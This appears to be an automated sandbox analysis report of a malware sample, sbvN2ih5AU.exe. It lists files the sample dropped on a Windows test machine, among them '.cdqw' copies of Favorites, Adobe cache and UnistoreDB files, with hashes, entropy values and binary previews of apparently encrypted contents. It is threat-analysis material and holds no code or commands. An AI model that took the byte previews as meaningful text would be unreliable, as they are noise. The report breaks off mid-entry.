Preview:	[{000hx..z+.[...oh.U\|p..:Nh.}...?..B,95.YIu...J...qEh.."....J..c.......L...U.P..v.S....Z.db..Jg..A.N...U...f(Y.....E?r.n.S.W.F.c=......zg.....y....c.<./{?`...W.(....vi.\...%..b..pX'i...\|6.[.....\....I.`T.t.....qs/...\...PU,.q..\..U....l.....@".B...-.+.....~..RS.. .L...i..V..V...P.`.-F..W..4.....#..i,.U^]..hh.8c.n.o.%,.K+.a....U...$t..'%..2...XmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Google.url.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.4976427281791
Encrypted:	false
SSDEEP:	12:gYPprgkOc13qMvU62VS6frPUZWSUdNcii9a:jckOCaMruYX2bD
MD5:	BCFE98FB511443E208EB3D301A304836
SHA1:	36148C53679A9BF5009C8C86C43EC43187E7B823
SHA-256:	F580F0CF013BE5C5BB2BA228CADEA8621F0075C2E4421325842486F39E110B63
SHA-512:	209433ACF9921B26FEAC73A74527B2101C47477394C4C01A13D199839333DC2D3179DC7EC3620E8FBF1ED3444C63E94A7849ECA52BAFD13B1891AEC3F9DEDAC8
Malicious:	false
Preview:	[{000hx..z+.[...oh.U\|p..:Nh.}...?..B,95.YIu...J...qEh.."....J..c.......L...U.P..v.S....Z.db..Jg..A.N...U...f(Y.....E?r.n.S.W.F.c=......zg.....y....c.<./{?`...W.(....vi.\...%..b..pX'i...\|6.[.....\....I.`T.t.....qs/...\...PU,.q..\..U....l.....@".B...-.+.....~..RS.. .L...i..V..V...P.`.-F..W..4.....#..i,.U^]..hh.8c.n.o.%,.K+.a....U...$t..'%..2...XmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.473562885524406
Encrypted:	false
SSDEEP:	12:iPZC7oT/NEnVocPVpGIMiGghKpS4SLKsiNwcLAyySUdNcii9a:iPZCONa9aIhHKRNwcL/2bD
MD5:	F91C3FDAD43D54EF37CCF3CDDEA1183C
SHA1:	3BDEDD4108FCFAB0855FA346A893775A35D540E1
SHA-256:	0FFBFE0B0A4254251CDDBCDF004BB5820D3BF209297BD16984A4EF964FAF3E3E
SHA-512:	3F2FA8ED47296A700B16BB2B582B2A5DF1D5D044F7534E4AF6ADD1F81B8552A952B5A13BA93B19A372764B513D15EA1A68DEADB4C8FDC75E02B4E4A26349D57E
Malicious:	false
Preview:	[{000.@.,........J.PBR8E.`.2..e..0.TP.Bz.].]CS...&sr..k.\|..-.....K.K_.x.}..<@w..U.,^...7`.N.R....Q..^..y.L.N.n..f...d.}.>..#..(..1Y*1=4..P....#..t.\$P,.&..m.I.....Q0....Jx..c..c.......a.S./..d.b..`;G.3...I.?..w...Z...qN...b..)R.........@.....I.).e..>./<..<.W.@L..k........,..}.M..../.e....n...}..y..f...h}..n.X....y......!...{.3.o0m...%.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.473562885524406
Encrypted:	false
SSDEEP:	12:iPZC7oT/NEnVocPVpGIMiGghKpS4SLKsiNwcLAyySUdNcii9a:iPZCONa9aIhHKRNwcL/2bD
MD5:	F91C3FDAD43D54EF37CCF3CDDEA1183C
SHA1:	3BDEDD4108FCFAB0855FA346A893775A35D540E1
SHA-256:	0FFBFE0B0A4254251CDDBCDF004BB5820D3BF209297BD16984A4EF964FAF3E3E
SHA-512:	3F2FA8ED47296A700B16BB2B582B2A5DF1D5D044F7534E4AF6ADD1F81B8552A952B5A13BA93B19A372764B513D15EA1A68DEADB4C8FDC75E02B4E4A26349D57E
Malicious:	false
Preview:	[{000.@.,........J.PBR8E.`.2..e..0.TP.Bz.].]CS...&sr..k.\|..-.....K.K_.x.}..<@w..U.,^...7`.N.R....Q..^..y.L.N.n..f...d.}.>..#..(..1Y*1=4..P....#..t.\$P,.&..m.I.....Q0....Jx..c..c.......a.S./..d.b..`;G.3...I.?..w...Z...qN...b..)R.........@.....I.).e..>./<..<.W.@L..k........,..}.M..../.e....n...}..y..f...h}..n.X....y......!...{.3.o0m...%.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.457733044248336
Encrypted:	false
SSDEEP:	12:85FWEyw54ZAu4eDpF3OEBYMr9BL64YZBsygSUdNcii9a:pEF54Zz4eF3N1984ysa2bD
MD5:	3E234A8D5FAF471B18CB17983C90133C
SHA1:	BAAEDB77A19DFDE358B7BCA44E32B7C40CECD230
SHA-256:	73CDA1B1FC8AD4FD44F417D21E5A4031E602C55733AF737F433937082A2C039B
SHA-512:	58EEA27AB181C1D0B57F702496EB1230C9B82BD915488159CC78B2AD9133A465AE7DC838138580394CACF40357788DFB7070157F712B1F6DE466FAFC6448548D
Malicious:	false
Preview:	[{000...t.B...Z.>.Ce>.C..y.f.W...W...D. ....QK.b....4.$j'.......E...........q,......$f.^.F..A..5.......)...~mhL..1......>..my.<y4...!q..req.Mn..o+.=(.U&..5......\|...fF..bV.....:.'i..J.Em@..\|=.\|l5.n.NVG....Hz.K.H...._.^uq.o..U..5...8...o..N..Q...MpM..6........7n..jPuI......}..L.A.}.gT2..~=f....(.....]D.:.z..}3...6..vTY....6......}.B..$.C...P....(J...ZAF.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.457733044248336
Encrypted:	false
SSDEEP:	12:85FWEyw54ZAu4eDpF3OEBYMr9BL64YZBsygSUdNcii9a:pEF54Zz4eF3N1984ysa2bD
MD5:	3E234A8D5FAF471B18CB17983C90133C
SHA1:	BAAEDB77A19DFDE358B7BCA44E32B7C40CECD230
SHA-256:	73CDA1B1FC8AD4FD44F417D21E5A4031E602C55733AF737F433937082A2C039B
SHA-512:	58EEA27AB181C1D0B57F702496EB1230C9B82BD915488159CC78B2AD9133A465AE7DC838138580394CACF40357788DFB7070157F712B1F6DE466FAFC6448548D
Malicious:	false
Preview:	[{000...t.B...Z.>.Ce>.C..y.f.W...W...D. ....QK.b....4.$j'.......E...........q,......$f.^.F..A..5.......)...~mhL..1......>..my.<y4...!q..req.Mn..o+.=(.U&..5......\|...fF..bV.....:.'i..J.Em@..\|=.\|l5.n.NVG....Hz.K.H...._.^uq.o..U..5...8...o..N..Q...MpM..6........7n..jPuI......}..L.A.}.gT2..~=f....(.....]D.:.z..}3...6..vTY....6......}.B..$.C...P....(J...ZAF.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeCMapFnt23.lst.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.8656691042619835
Encrypted:	false
SSDEEP:	48:gRouZrIu3Hswy4rNRqTQgc2o7r8p+3WESNRoZsuD:w3rNRHP2sgsVSN0R
MD5:	614D4BC05C9C25FB6A9016D9BD37F39A
SHA1:	F659030244293D1003BC18222C2F83A1CA7E9163
SHA-256:	24FDEA527B0B87E85FE5FF20AA14C9A1ADFE32B16F481BA4FABC3734A4A43405
SHA-512:	B4DE72F4372EB719C6C4F4E8E33393D9B3B40760274945602E5EBC5DEAEF3A3077A8975E3A975A0ED6D7EFACAAA1B81718F9B42BAD6450B5CD5868F3E2E808CD
Malicious:	false
Preview:	%!Ado..a.M..........Ua8d.#j.Q,..<.GP<.r.t5....0..;q...:....4;......W..l...d...Cz.4...Xtk...KX5b{.\|..Pt.p........H.W.H..C.&>:W.O.#5.O..J..'...4y5W.L..._Z.I.d..H...1.3.Mg...Y..#.<.B.[.l.<~.P.1....B....Q..9...k}.%.lAp..el.?.....].q....C..q.cCt.-...nA...j...]..}..H.~.G..`jX...i:...R:.F...w.}ML...u.A1.y."D`3V..#6.7.OK..^..TP....7V.41..Az...[...Oz&I..].................."F'../.xP.lc<_}.=..p..T9...qes..2i....FJ;..)...r1..)rQ.<2..&...#..n.Z....Rz.......j:..V`h.Mp.._.B.g.......l.......@..RO..+..p"O.0....r...T&UB...+uV.2e8.h...u...1.&w....!I....b.<.^RC9p>.F..(.w<h.$.<d.\|.S./.6j.F....q>8..w...<.\...u.>...eS.........%X..q..2..Hc..u.+.p.....0BS.}....g6.n<.....C../z.7...t.p.Z..}.$v,F...9..mGBO.Z..2c)..b.v...~S....\.....]A[.rV.nV!..c.e....eYV^...P,{.X...\%~../.qw.!...X../C5...I\V..E.f...xt8.C....2....U..g..&?...W6~....%V..C....8+..5....W L{U..kg'R._s.....z.....r.q,OF-..............Ws.^...:...?.<.....v.m.Zm..e.h.ss.>..Qv.oYR.<C.qw....dZX....(,..,#

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeSysFnt23.lst.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.87571447835255
Encrypted:	false
SSDEEP:	3072:SV5ys8F3JzxpF4fPxCbvXQce2+S1i4Azvj24Y7ylh8v7Y4UdgJnfXE07ZmandGCm:g5v8FJ3F4nCve9EeGZycv7pUd+fXE07K
MD5:	BEC3A49FACDE1D2A20B6E61DD44B7D2A
SHA1:	FBEABE918E914D283B00B04520ECD5A926A85C3D
SHA-256:	F524AD03C3537C784FBF4FBE769B8EDD1D43406FCE54841E5D17C0160403A0B9
SHA-512:	D04E00929EEDAA20869A4F605A0B1F39F60023B60B446B5BE1C8AE6B526E641982EE432E485837EC603BADF9A3414BEBF9CBE824815EE86BA66586ECAC02FB2F
Malicious:	false
Preview:	%!Ado.K.u.!.D.....1.6%..I........".)Y;..z...5....Q...z..r^.....w.4.;s......(....h.z;y^`...}......w.GJF.7uw.).A4./G.R(./I..'./<`.....D._ .....F..%......G....K....Ct....@....<9..h4Fu...J...[.K....~u.....]....O&.s.=.n.L4..pP/)....X..}.....UT.M..M.#1+...L...T.......H.8H<.._s...=.r.h#....G..q......'..gb.95/..U.N.W.P.C'..Qk...PW.......\|.....ZK.S.9......Q.a.P* .NOQ.7^.....]. 3'.....;.'..7......O.....B..s..%[.+.....nup...$.x.='...sW.+..S....^..;.Z..W......y.l....c..FH.F...S.7A.......R..K%.._... .&...~.]....X.L.h.M.n.P..$.....HHIg...'o.C....E....B!.E...S..s.? d.m.s.T.(*(..UJ.'G'7.>.<..tiQq9...<..r.A...R@..r^............l...+..k9...;.a..(.A.....}8Q..x=....A.F......(..f.A$............u1."K.T]0.U..}.J1G.2...e.S..5F...q..\|..v};.z:....d...b.3..-.....(C.F.$.......<@.;..,..9.a...!g.?z:.Si.j...::R.....@....B..S}.E........@.K.....C...Mk.s..<...r...(".m.zl3].m.#.&Xh.....+.(k.=5...:... ......p..y?&. ....&L.o..51+1m(.B.DS.W.D..........J..z.a..O.=

C:\Users\user\Local Settings\Adobe\Acrobat\DC\IconCacheAcro65536.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	243530
Entropy (8bit):	6.817503429219865
Encrypted:	false
SSDEEP:	3072:mMylErc3vRH1II+A4Xn+/8vDk3k6ewcTCSf7frtNgOXbNj2ShadeOolNlnn:KaeyAAnUWDk3k6oOSfftOY2SEKnn
MD5:	AA17EA6E47BE0A87407570495C48D7EF
SHA1:	CBBF96FE41576BE0FD097C8C26DD1BAD96088F51
SHA-256:	81DC66EAA922D04EA8F900FBC56145836AF4265E7952FD056774628C62866B0F
SHA-512:	5DCC58937415DC5F11731C6A2ABD62477B27503164673EBEDD79A181D37965D05AD06A8A0C48A7521870EAE9AD0D148B19F6D2FE89876FD089EE432F970B4BD3
Malicious:	false
Preview:	Adobe...v.)o.....$.O.$...^U-.V........e1..N....?...Y.9.A/G.<B....V....)..1..Q.t.1.m..^.....E......._o.L.>...._.o.=W.{..'j<.s5...!.D.....9. ..~....Mx.b.T..;..H..1E..z...-.t.@...I..9.4.y...8.d..:...F...\|.{=.G.V......e{./.....i....eu@m...Cy}.2ZK.[...%....N_.6EW.u.=...blEE.F_Cw...UV.....K...\.o...q.0....1...o)$...n.7.78.....PB...'..`..@Y+[..N..........`..{R\..<.h..4.&..1.O.E...6.-~?.."...z..D<S.v..Dg.n.V...)........!K......IPR...?..8..-.....\...V....~.....D.t.=^..I..1........Q.J.PqB.hdi.z.F./.3wGd...s..9..).o....mM.$;3.\5.<.%...p...c....p..^....1.._`Z.f[..e.D....<...b+...S..4.[......A..xk........o.=..+.;.wx.qdY.,..UV.VZF.{o.;p......QU....ok}.K. .u1...#........>mn...gp....<T/......43r..X..;.O3.;.D.kV8Y.j]s2....{...qJ.....g.N8a.T..Q..{...Tj........I.._h..=......../..v.1.2.U.:O........-n..sz.0...[.....J.o,..M.......^. t...B>...e?.....d........+.e..Z.{......Z.u.o...Y.L...;.U.Z...=XSfNy..&9.q/...k..-.M..?.....`..HK`.c.q]....X.j...W..1.!.^NC8

C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997173848455799
Encrypted:	true
SSDEEP:	1536:g+Lnn/VttWlN0N+ByTkazX8FSciUD/+8xrIL:9r0lNzBktXZcly8SL
MD5:	FD48B123D4C47F535A6F25E47A79CDE3
SHA1:	1C45E15486A16A60FEB56A03AE2F4EFD91ABBAFE
SHA-256:	F4181AD5C580C9EFEAA5F1D856AE0622267CF4BC4DC68085B49728BD12CA8253
SHA-512:	A352967F9E8969CAD5E5EA8EA363B2ADC687C6C94E664AD0EC49B29FD91EC555607BD2D0B72A7101AAA4CCBA8EC33C9612BAD6D12C48FD978BA865799AACC018
Malicious:	true
Preview:	4.397^.[.T...I.g.I.7"B:2.....J.J..f.x.5z.9o.B....^..L.On. ..9..t_1PLeR....{.%..IGi..I..c...cfN.Q...6$.Yz&.f.YW..e.].B(.[.e.G...8!.V;Z.cV..D...}..N4q.ub~4n.. /Ew=..1........'.......;X.!........sN...3!..7.J,?......N..Y..b...%.cT.(..C.ZwNEscv3........J.....f...E..r)Y\|R.../..'...@..X.>.[...m%]z.2....@e...,...Ws. .....).m..l{6-$.tl...4..9B.Z.X.mp7.`....d.N.._k.-W..=.G..F..m.YV\|.S^...f.K.&(/.$.....O...M)...v...9..:....f..IH.....a.9\B..@..V.c..!.....-3.../.A.p...`%.:.\...D.\....:2m..$..'G?..u....o.{.BH6...sw......../>"p&..5,..[.u^h..._..R.............C..9....0..x.z.{...h9G.H.sI......%..:.L.....".75;..u_gz%.P......[..O...<.<.A...5H........9..w...Z.....7..,.....w...b~E./...XE.cv.p..Sh<....W....:.............?n...H.L..xr.f%.6...2Ye....;.'wvp..`U.&.....A....I...;..%..... Te..q.F0.m=.....K.v.3......d.J.V.....3y..g..p?s...W.h.*..zfX..-m.'..y.lijiV\.h..!>Z/.!.._..x....w.%PO......(o.D.h..[$)j.C.l......I......I0.PJ.......wg....s(.FR.8.. s0L.g.2.6.....i

C:\Users\user\Local Settings\Comms\UnistoreDB\USS.jcp.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980182879762838
Encrypted:	false
SSDEEP:	192:IQ/bRTInBCkqzElFvxLdp/g745Opj9AS3vrh2PENLmjwNUSa6tCL:rpInBCkqYlFv1g74YpS6VwEN6CE6to
MD5:	B248FA9B0814FDB7C6795E30DCA9065E
SHA1:	5F4CEA22A2DCF1E603EA504B33422E80575CF57A
SHA-256:	3DFC1E392897A0CA67709571C588C4BBB7C2CC41C944C550E67E47D445980BD1
SHA-512:	343DAE0EE4B5259D4BC0DED907563160B11124A4D209BEA6403572668BC0E4049F4D96772462A4FB5F7CA278663E3EB1E8FFBAB6123D0D14F68406AB5E6C8057
Malicious:	false
Preview:	.M.#.@....c.l..z..b.H..."&..Be.......)..^..r #i;......D)...s..m8.Cr..>..GK.>..\|...k...TV....z..7..X.@e.G..`...1.S.k<.......P.K-.AA..=. .k........"..'.6....s......../.k..N <.6...;.V.-.plx....).r.z.$.{.w.........Sq.]..uE_..G.$..L<.V..P...F..n.......{.Las....`.A.....N.PDEB.s(....K.W@,......Ei>....<3WH.?.]..Ps..z4./1.Rs.VL ..H.x......A..r......UIi..F..X]...g...$..\O..h..(..Z.9U..[.~:lm.LW.g.../..@.: 9.Z.g..lX."v7.j...3.v..g.):..~q...".k....;...?..T.@.[...fBIG.Xj=........"VYK...SD.G.Gy..t.k...sX.7.uJ"....Zf.f.)...0S.zR....#.f.s4..O.:..A....U..y..G..(.xa.m........I.d...M5.(1.....R..).u..k..\|.._0M]5hG....<.,pK.9..8...q...2...M.t...JB2._..$.n.?^}......W.;{t{...e....,.4..LH)"=.QY...Q.1!T..q.I.2.h..o....{..8"9..v%.....^#..!~...Lt...H...XCn..v.P\..... ...\.'g.sM..wa>.)........u.-29......+1.....Bj........._}pR.+. _{..w;Z....G......#..UB.W[.'.\|`O..E.....o.....M..7.Z.D.=..Z.l}J....{..i.91.....R.&G..#V...K.bWR...H...2yq.d..t:.v.]..b.5...zr..

C:\Users\user\Local Settings\Comms\UnistoreDB\USS.jtx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	1.7335117544491079
Encrypted:	false
SSDEEP:	6144:ZtAoDD6EBIz20j16UUPXmNqhdih7Ky2KQo3agO/qqv4RROYdVbtzFnrG5J5qh+AK:ZthDDzii0jYvm4hdqKy2NfCdYSs
MD5:	D490A5DF3F2BA572288548823FB74A79
SHA1:	DB3D2C443F3A3087059A4B055CA1A13E0847C892
SHA-256:	245097A87001C1EDA7FCAE037B226FC08FAA8B71A90B505381A7F8E380BE2521
SHA-512:	5C865ECC2F283B8CE8C12ACC8F7E7286C482C5AE3E79049B0EFE0BE533467C609745A6A0B4633455BD5862E88B5FD70BE36C66992D4C3E5E8E95D74D0FACA810
Malicious:	false
Preview:	...?..!f...7'}..d.`.:c........z.p...F.5. ....Y@.\..%....r.;H.a.T...o...H..3%fm...n..^..Ar.q{z].GH.k..[zu..)..f... ...M.3..+..S.K{.D...7...p..j".yD...o5.>Ayr..(...x....Y..}.c....tU...m.6....Z$.....h..j.P1K ?~.x.t..p....E...<.v....v.lL.../.......8...}...1O....O..\|_BTsv.2 ....RA....v..m....=P._.Nn.u....z.f.YY..L.s%s......!..M....rJI4l{....W....ya.fT.?. v...........n............r.m...0..0.......I}.X.D..........\|M."...zu?..nc.........C....GI.=...]h.#....G{$......b..vJ....5O!,."....=.M.).?........O^T...OS.=..).Z..\|....... 3..-/.]/..`.D.p.c.......{<...A+.\|e..g...w.u..].2.l..27./.ZR..O..^E(.H..Mu.d.....M.n^]..Py....7...:.....66}..c....Z..C.W~.>g...v.3.X...j..h........].m......`.E..0V.jt;hq...+".c.4.^S...s.:.31.xR6.2..]e..)..\....... ...,.K.Q.....pKg.0....U.......X.z$N...qjo....y.6...H.....e........F02.M%.8.1..$r.<..lc/.O..+1...WW.n..I.\f.A..i...J..sg.F..u...G].<.........._b..........ak/x.Mv....L._b..!...*dC!.b..@..d.1.+ .!R....t...w..

C:\Users\user\Local Settings\Comms\UnistoreDB\USSres00001.jrs.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6705333811264559
Encrypted:	false
SSDEEP:	3072:hmfshiVrKJkhlcnrTru0U1hHFn1mHLVR1aBrw3ckbsUcYh11:hN+rKJkb8rUj1mxvaBrwskIUd1
MD5:	091DCE339CB8535A4B3421C4C9A2EBAB
SHA1:	F5D44D6BC3AFD61AB358FF0ACC2F608CE0FAC7E2
SHA-256:	DB8FBB0919C447E2D2DE0A3DD4B951C3497255AD2C24C17BB1BAC3595F5FD90E
SHA-512:	942EDBD005DCE678512B5FDE6F5696EC488F115C2F482C76635E0BBD442707433915BABA3463F8C55F43D0F78E2A740F618AAFFF9ECD6A37580444374B17C3FF
Malicious:	false
Preview:	........nL..+...%=..}..=.]C.V\.....-.}..Q...)a........]...EM($..7H.!m...u.S....W.6..(Y....hE....]0..4..]......V...G^.R3.AD.N..6..I....~..J..TU.....Q.1.l=D.9.....{....<..H.bG(.0a.!1...X..........#...S."\.?zA.D..;.-.D..F.~.EM...D.!..\|.`t.T....c..&u)Mj...k+4..\.=.3.]..4@..B$gEB....k..;:.{.....r........B.?^.}.V..TC.~..Rdpu...'bf^.....VH......+.....?..)\|]/..9O....Z.47.X.....i.!76..[5......r....(.t..0..'..h....%..).Y;..S.%.u.J.....'.c...Q.B...N...K^...,..j).....A9f...+.Z..:%..%W..obnW.N.@.k..?.]]...w..~.-....;..NO......~K.....\|Zg..[Z..X....~.5h.9...!.E..'..i.Q.,.(.....Z..5.o......g.Sn.q.B<N...#.b.......84.....1..."$..9...S.xK.d..!..n...g..$...~(.....Hj..e....U.:b.\e...nr..D,ad.=.tCuK..(u.....%.o\|GsF.....LQ)(.\fR.0..'...MQ..I2.).\|.).....s.h..-1.C..=...].._.-.*.S/....2.K.Y.F....8....{...Jig..(..\|...I...8.O"...E...^.$....Y..%..(.;....i6...............{0.L,+`L.#......AY.y....cS.......ZP?~...=..s2.8...8.j.tC<.%.i..KX.'L9L..G.+..\...9.......;q...HZG.h

C:\Users\user\Local Settings\Comms\UnistoreDB\USSres00002.jrs.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6706912780126998
Encrypted:	false
SSDEEP:	3072:AIj/oxtclVio1X6j/nTWhSGsIJTIWsReYcnHGD6ckceBeOKaJcBkn4ipYvDX7:Ahcn1XmyU9fcn26ckBHKaJcq4ip4X7
MD5:	594D691DA181CB4CF72E23D266216B65
SHA1:	478E2E0E2604967A3D81EDA7AE1D4081004151FB
SHA-256:	2C4AE113BEC000A2E573F17FC3CD4B2C9E93BE446CA4EF6DAE65FC9E0F5DCB8D
SHA-512:	9D74065C79438AAFD59FB4BDCC667838952E2E5B2DBA54DF9C6EE8684DEDFCFA8A57EE745E327C2831C5B586A0E8739941B8CEE75BB9E4B2B5FB79FBF685542E
Malicious:	false
Preview:	.....M..).$.....e)..V..W..r.N.8+XH. K..X3^?3...r..iP~...T. ......1.Vce.\..!.a"M.C...UVU.....V\|<...e........v./.B.)....c.P......Xgl.GRIEZS.........N.X..N..E._.6i..".t....FVX..8...`.......y.U..}._.a#;.6..}..^...Ta$w.]...... .t....7.>#E....+....xt.......X..^.o..Uj...u..16..._.ypq....r)y...i....1i.j^.k.R..o./....)..o0..U.;s,...&N..y.....}....k...C.,......1..Rk...Vz...=...&..Q..y..f....&V....Q..E...Y1..?.#Y..&...)..n.....@[....F..<..Y4.0.h.4)..q.p..5.e..._.@..?. .s."..a..X....7....A.GP..(....5t...Q....P.^..s!~...v.i.\|..~.....~...jo9n<..'.....)..z......=...=e.p......D....XKT.=..Fl...d;z;....}.?..zw.n.........."....../..?.!....@.}.w....Y.%.kq..'.B..3.W.-C.m.-...NC....>B.n.."...K...Kn..Hb.......k;....R..k..MP;$.b.....-....FZbr.q.Q.[b.......].HK...l..q.S.......e.Hnk....*.J.....K......^...9x...........>......D..A...............3..:..nj.3{..m.~kQ......}.F:..Y..6.V..&........6.LZ?....D[..}......T.b..+.A.X.e..\|....7C..Sh."9w......

C:\Users\user\Local Settings\Comms\UnistoreDB\USStmp.jtx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6705824609434473
Encrypted:	false
SSDEEP:	3072:J09NLcX+y5kwALy+07oJWNsbWiSVtA/BADm1T1eFVsGGIYE738Sh98IpcwE:JSL6AW0VlSVq/44EWGGsM48IpcwE
MD5:	483AE8FC09D22CFE5CA7EAA6A7F39CE3
SHA1:	931E147F2D006751FC6317683BA820E82835EA71
SHA-256:	70AC4BC4EC1B6EF6F3795A17A75966B29696FC6F3DFFDB0826D214E318728877
SHA-512:	AB02FFCA17635D2393110DF375576AFDA6D5FE73B4B8F152741FD1222B8F85199A8411B0D492A88B96CC1EE7FDCE09424EBBBFEDD7F511E0C7F9127D04C5270E
Malicious:	false
Preview:	.....$.1...r....C.4.s(o0%..f+...4.....M....7..2...Y(...:.Y9q..M..Y/.yL..d..~A......x.d.....@....wl....M..mD.Y}J{...jt.R..d..4.~.......(....0-%71...},..3..1..A.6.{........W.e.......p.+qwp...`]W.V........M...q&..c..J....rVu...i..Y../.#.vE...n.M..7.6.XD..vb...6..8`t)...&.....Z......MOo....+o............`..B..@..=........sB6..6.L....+5...p...Z.......$..F.OV ..8tAh..^=...$. ...........4....:..~.W.,..Qn....^..r.....Y.......o.u?....'.U.lV..PB.2.Z[.....1Y. ..y...c.;..g.]]2I.8;..SS8~.e.@~...F...p..c.~{.y.^uS...,......w)... ..........b..E8..~..Z(s..o.L1ty..Ij..(.b....CQAqN..!r..O.p. ...A%.........\........m..,"./.}.F.[.c..?.=.l{.g...j\|:..w......-..#Jh.......)1L.>.......K?..o.......2..FZ.2.>..F.+....+.0..].A\.W.]..D..8..W.s.k..MN......2..&...Gg<...5........M..'q...C2ZF.n..a..tH...j.V W.KcY.IG.X*..l@>K.......Ym..L.....ii..D...U.X..k.......\',\......\.YR.5........q9..2...{%5..t...\|..3..@.<......Z"f}.....27.ZB.[.]L...w..0)f".L.>.....M..Nz1.zA.....k

C:\Users\user\Local Settings\Comms\UnistoreDB\store.jfm.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988115831755994
Encrypted:	false
SSDEEP:	384:/uFxv1gov/NAyvuFqa5B8h3xjZ3mJ7M8KrxXzrjxQBNsn2:/uFMCFnGFqBh3rW+t1XzhQP
MD5:	E441579567A61720461CFFEDAD33741D
SHA1:	DF856A7D31DB0960E0E44211560A3ECE37E70242
SHA-256:	3F50F58F2FE2A791DC89987EA9786D8521527B28D87EB01B7DEB6B38F171881C
SHA-512:	C433FC8FA4D0CAF57EDAEC2074FBB1FCC9931E5DC8003E12709966B58BE89D6D6D524941E3C79D941525FB887FBED658687651A38A548E28FBEFDF2E70A9BDA7
Malicious:	false
Preview:	......ct.......I.+.[D.s..< ..R."..-...N.....fvo.....n...Ex..(+.H..k:...N..M<...._..,.8....wN....D.r.e.kq......b.%...Y....-.y.....?..J.n.3.....M........R.+....1N4V..p..;.....e......M..b.Y!V+...E....,m..\.....>yv....Oq\[...A......@;...O.....}Y...B..=..Q....<./..q.H....<.......-..N.3........e.......T.......V.k.e.._l.. ........V..jU8. \|.9=0.O...%g0.e....pM..r....B.Sf..&"....6...Y....6...L..gI.S.7\|..6.5..}a.X...E.p.Ax7..K5K..1+..FWotT5..r...kR...;.&..2.N.....@3k..-.D..........r.......S_.v.N..I..p...8\|...i}..wuW\..&.....r...(..Y.A..s>0.K.=nz..:!...G.A.^.,z;..T-M@.'.I].9.....bVt...\|$..".$>......e.k..e..%..k.o.Wkbx.......-.$._..SK. ....$.....{x.....c....3..=.&)'F.^P..~..<..GdR..u...Sb2..d...2s..o...u...o...`.@.=.E.k.."...{.j.a.8...qR...k......g...w.DR....\.g..a..u.kZ....T.5\.bS...9.(.@O.8..W.J.../.U..>>^.Z......N8\|qO....e-Gs~...G.H.>....8..;..v...O#....0....^.s1a1.m..........#......L...#...)k.. *..<...!.t.k..}.....`c.....1~....z..

C:\Users\user\Local Settings\Comms\UnistoreDB\store.vol.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	5767502
Entropy (8bit):	0.7567961718650474
Encrypted:	false
SSDEEP:	6144:8ZRybYmSYDH4AOT6EZgqULPSa+d+gOrOuWxWk3m+cun4CfYjUfSUXivOYRqi/vUk:87ybhSYDYfgzcR3b0N
MD5:	4B52E058BA8E36E4E3E2D36C74472C1A
